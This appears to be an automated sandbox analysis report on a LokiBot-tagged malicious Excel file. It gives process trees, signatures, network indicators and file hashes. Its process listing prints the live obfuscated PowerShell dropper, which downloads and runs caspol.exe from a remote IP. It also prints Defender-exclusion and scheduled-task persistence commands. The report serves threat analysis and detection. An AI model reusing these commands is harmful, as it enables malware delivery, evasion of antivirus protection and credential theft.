Malware Analysis Report

2025-04-03 09:51

Sample ID 241118-v7ydla1net
Target PaymentAdvice.xls
SHA256 c1b87e35d9bcc37980e406e3c9aa910aed0dde54f90ffbd521291c80b230b3f3
Tags
lokibot collection defense_evasion discovery execution spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c1b87e35d9bcc37980e406e3c9aa910aed0dde54f90ffbd521291c80b230b3f3

Threat Level: Known bad

The file PaymentAdvice.xls was found to be: Known bad.

Malicious Activity Summary

lokibot collection defense_evasion discovery execution spyware stealer trojan

Lokibot family

Process spawned unexpected child process

Lokibot

Command and Scripting Interpreter: PowerShell

Evasion via Device Credential Deployment

Downloads MZ/PE file

Blocklisted process makes network request

Reads user/profile data of web browsers

Executes dropped EXE

Loads dropped DLL

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

Drops file in System32 directory

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Suspicious behavior: AddClipboardFormatListener

Uses Volume Shadow Copy service COM API

Scheduled Task/Job: Scheduled Task

Enumerates system info in registry

Uses Volume Shadow Copy WMI provider

outlook_win_path

Uses Task Scheduler COM API

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

outlook_office_path

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-18 17:38

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-18 17:38

Reported

2024-11-18 17:41

Platform

win7-20241023-en

Max time kernel

130s

Max time network

141s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PaymentAdvice.xls

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1960 set thread context of 1360 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2944 wrote to memory of 2768 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 2944 wrote to memory of 2768 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 2944 wrote to memory of 2768 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 2944 wrote to memory of 2768 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
PID 2768 wrote to memory of 2764 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2768 wrote to memory of 2764 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2768 wrote to memory of 2764 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2768 wrote to memory of 2764 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2768 wrote to memory of 1744 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2768 wrote to memory of 1744 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2768 wrote to memory of 1744 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2768 wrote to memory of 1744 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1744 wrote to memory of 3068 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1744 wrote to memory of 3068 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1744 wrote to memory of 3068 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1744 wrote to memory of 3068 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2768 wrote to memory of 1960 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2768 wrote to memory of 1960 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2768 wrote to memory of 1960 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2768 wrote to memory of 1960 N/A C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1960 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1960 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1960 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1960 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1960 wrote to memory of 1348 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1960 wrote to memory of 1348 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1960 wrote to memory of 1348 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1960 wrote to memory of 1348 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1960 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1960 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1960 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1960 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 1960 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1960 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1960 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1960 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1960 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1960 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1960 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1960 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1960 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1960 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PaymentAdvice.xls

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe -Embedding

C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE

"C:\Windows\SysTEm32\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE" "PoWErShELl.EXe -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt ; iNvoke-eXPrEssion($(iNvoKe-ExprESsiOn('[syStEm.TExT.eNCOdING]'+[cHAR]58+[CHar]58+'Utf8.gEtsTrING([SySTeM.CoNVERt]'+[char]58+[Char]58+'fromBAse64StrIng('+[char]34+'JEtQeWw1UEl4REFxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlUmRlRklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVwR2NKekppUyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdtRWZCcVZKd2IsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT2hlbmlXY0dJKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWNLZGFobmZjYSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRXNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1dTdUFVSGV4bSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkS1B5bDVQSXhEQXE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzM2L2Nhc3BvbC5leGUiLCIkZW5WOkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzdGFSVC1TbGVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHAr]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dgmuiruf.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF548.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF547.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bdWEysRwjYwmy.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bdWEysRwjYwmy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp7C51.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 link.uebie.de udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.135.105:80 e6.o.lencr.org tcp
US 192.3.243.136:80 192.3.243.136 tcp
DE 5.45.108.48:443 link.uebie.de tcp
US 192.3.243.136:80 192.3.243.136 tcp
US 192.3.243.136:80 192.3.243.136 tcp
US 8.8.8.8:53 www.microsoft.com udp
GB 95.100.245.144:80 www.microsoft.com tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp

Files

memory/1484-1-0x000000007295D000-0x0000000072968000-memory.dmp

memory/1484-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2944-16-0x00000000025E0000-0x00000000025E2000-memory.dmp

memory/1484-17-0x0000000002400000-0x0000000002402000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

MD5 822467b728b7a66b081c91795373789a
SHA1 d8f2f02e1eef62485a9feffd59ce837511749865
SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
SHA512 bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B

MD5 dfe9d40108cd6499968560d0319998c6
SHA1 6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73
SHA256 1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e
SHA512 5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B

MD5 dddd2a95c291e7aa1a85553d44d7ec09
SHA1 2e84eb1cf96858ada422fc5ea52112ee278c32df
SHA256 5abebe2c9390de50275d12bd33eb9e93cfe65dac90c5585fa928832ca89fda82
SHA512 a1e42c0531c975506872ac45a0ff2ac7dc8e39459d358ea1f7771c7753b2ade384a1a1d66f26c93524432b6da9aaa03c85a5ee434685a952bb65a3c657a03926

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

MD5 6c0d78bad0ad31a8cdc648bc3db326fc
SHA1 03d83efcbe4cdd21fe3448a8a446b360a6e2d498
SHA256 c31ca02b84bba23b19105cd86dbe8c082fa570169036349a43f32b981f16a122
SHA512 2a5ff5a52db7ae28b42e4951714554c413708930ce92b9ac573182bdc644be85a63f1470457f375e1f997d812c165c8a4adeecce8c2756933f7fe80c611d1398

C:\Users\Admin\AppData\Local\Temp\CabE7EF.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9GP4P3HF\seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe[1].hta

MD5 9427d6b1cf4e282f2140587823409691
SHA1 059037ad5c4c6054bdcd163cb1969a84cc1813e9
SHA256 a9cc9394d9450742c8f2b9b9c9ab7b94fda208cd6977458521554121a49f45d1
SHA512 a394958ceb3d1594328c1c7d091f295080b1fa93a787aec87456b1438559003e68e1c0e38eee6d5779a4227a0413393f90a587129d8c44d42467e0b3c2382ab2

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 5770fc06f566c7ae4bb95e32d5024368
SHA1 7ae8017d4d67c20c39f01ba1a4a68cb6e6bcdcdf
SHA256 bbe1e561719071b355021f3a7ebb1064c81e4abca3f4342425861cb21ed51867
SHA512 906d1375ef198faa831dadcaf9594f6943cae0fcf5d773b7970c2338eed6783bd62e968e346fe45da6225d70b4dc124c2186f4e7e75243da2192ad77c375bdd5

\??\c:\Users\Admin\AppData\Local\Temp\dgmuiruf.cmdline

MD5 17cbdbcdc8ef7275d92aac76d91ad187
SHA1 e965d046d7ff8d9671e866b8d353ac03e445a2d9
SHA256 80b7c6626d710a5d560d1b1a68bfdb8a8c7fa92a581a650452bd7ddb780a42fe
SHA512 b16c9dc3542ccb8cd2e07f106dde9721d56f080e120c1a6b1e60c069ff5934dd05364eb8291315bca3cf2833c30be8dceefa9e5d4665c0d466d72e4abac57b68

\??\c:\Users\Admin\AppData\Local\Temp\dgmuiruf.0.cs

MD5 ee60617752b2061187e3773f962ff810
SHA1 5d3dc400820671b51499e9003fcbd7794d07e315
SHA256 69736289404f9f61bb67a99a24945aaa347591458b09f4dd686bbc58d8b25ce9
SHA512 5bf701c77b31bcf3421fa2cc4649127b54656175bdfb238ddca8606063ceec69fd76d2f611b5f55f246a3003d3fd76b1b318fa0fc4cb1b10d9b8b04e153bf231

\??\c:\Users\Admin\AppData\Local\Temp\CSCF547.tmp

MD5 d8876fa1bcf5b62a341c35e06229190e
SHA1 0a9c2a41b1d621b23e78f9579f42f6e47b4a2f82
SHA256 eef86f90d16fb86b86a96af7c61166167209611556614d419a7525583cd94508
SHA512 fd25b15d6bfbecbe4e3edb5921012cdb4cf6641228f96bd985df307339911a4b9294fdc08fa36e4db3934338469bbc5bbbcf9bb3b3ee2799d63ea5a28ae6bc06

C:\Users\Admin\AppData\Local\Temp\RESF548.tmp

MD5 e47593c08b1da91880d301b266e995e1
SHA1 dc83f06b278c4425e9fca927542a292123c60433
SHA256 be1f43bff13fe54dfebd7735de4142dd4876cd26ac2045d211bbd763b24c8089
SHA512 f62e9f99c1781cd7e0340e78ca068d3e0b0f61f6c3bcee8c7843cf6e042d4638f9d7a6e1f9e9133977f3be966537055b517de4b3e67d914ad80a9cabcd1baa27

C:\Users\Admin\AppData\Local\Temp\dgmuiruf.dll

MD5 02556bd8159a9df25d46609f7d13a7f6
SHA1 3bc4db7d2ea82d478c8f0215016e736ae4a045c5
SHA256 3e8afbc7c6730817346b2da47504c1467362e3541c159d815e09fda7970708a5
SHA512 163eedc251e9f6f748bd0c6cb030a78bb5d117b7a3c3905480f087f68c1eec707c1bad4d0e4e9333b047d384f862c7b4685070c449c558863e646dfaed5443fc

C:\Users\Admin\AppData\Local\Temp\dgmuiruf.pdb

MD5 f74e18a16cddbbcbf01e3b5158e3ea27
SHA1 b7c29197cfe9c4339c13c8ce3f41a64e1260a8ea
SHA256 2488ae920ecab97eaa9c15cb99c4e19a19374a16adfc5a0e8fbf91e44ba90dfa
SHA512 dd39c7f4c53cf834f5dacf2660f71fac5649b6135e0bb4d77ea7363b070556b22a407fe60ede434d91fd7d091333faa94a1f2fd35777fffd1fd21030a2b836b4

memory/1484-56-0x000000007295D000-0x0000000072968000-memory.dmp

C:\Users\Admin\AppData\Roaming\caspol.exe

MD5 8c34e99269d4121a0dfe4c3eaa9e269f
SHA1 5bbaa7dc726324e057eb4f78856c368488c4805a
SHA256 2899cb71414f7d46a6be0d40a5ba017d407a41f291154ea6a86f421754d11a76
SHA512 99f3cc287b9437ee888371fac3cf37d77d39c9468086feb0c80f4a0a4cc8a750c0b2798ec32a90aea3c88ed67c36005bcfd81d8e439edcdaca9e60caa1f3f277

memory/1960-70-0x0000000000DD0000-0x0000000000E52000-memory.dmp

memory/1960-71-0x0000000000310000-0x0000000000322000-memory.dmp

memory/1960-72-0x0000000000D70000-0x0000000000DD4000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 943c6b357ff29264c66f62e0fb322ad7
SHA1 3ea9a57a7fa7e3c2a7c9d695538b031b1f9fdbdc
SHA256 2c2a3044cb8c2b52d4aeed789db11b02884b0b65e6f3d1098ac71f7c521bfbfa
SHA512 b868ba0a6a493d5423e1dbb6e7836d577eaa5c763f92101bdf0d2587e4a353d8a5a669e1bbc50c10201d98d228ac3af0e917159c12fe1c8746b8530f53123835

C:\Users\Admin\AppData\Local\Temp\tmp7C51.tmp

MD5 1daa231e21fac534b5ca7ebcf1dd84eb
SHA1 4228414c36c49c9c15d823ac8ef842b02c61e619
SHA256 25250d0dcea1c7cf95a115d5f7dd1ffb23f5289be656f1e37f8f4a48bab4f93b
SHA512 80ae47221a8ff3d28d0ebd7229b5d11fff0d7c4ca23537d57d9b99c89235f8461f3bf9e720907efc5af629f002977dbe4f5bb53913a60b831f91691207cadc76

memory/1360-88-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1360-90-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1360-99-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1360-101-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1360-98-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1360-96-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1360-94-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1360-92-0x0000000000400000-0x00000000004A2000-memory.dmp

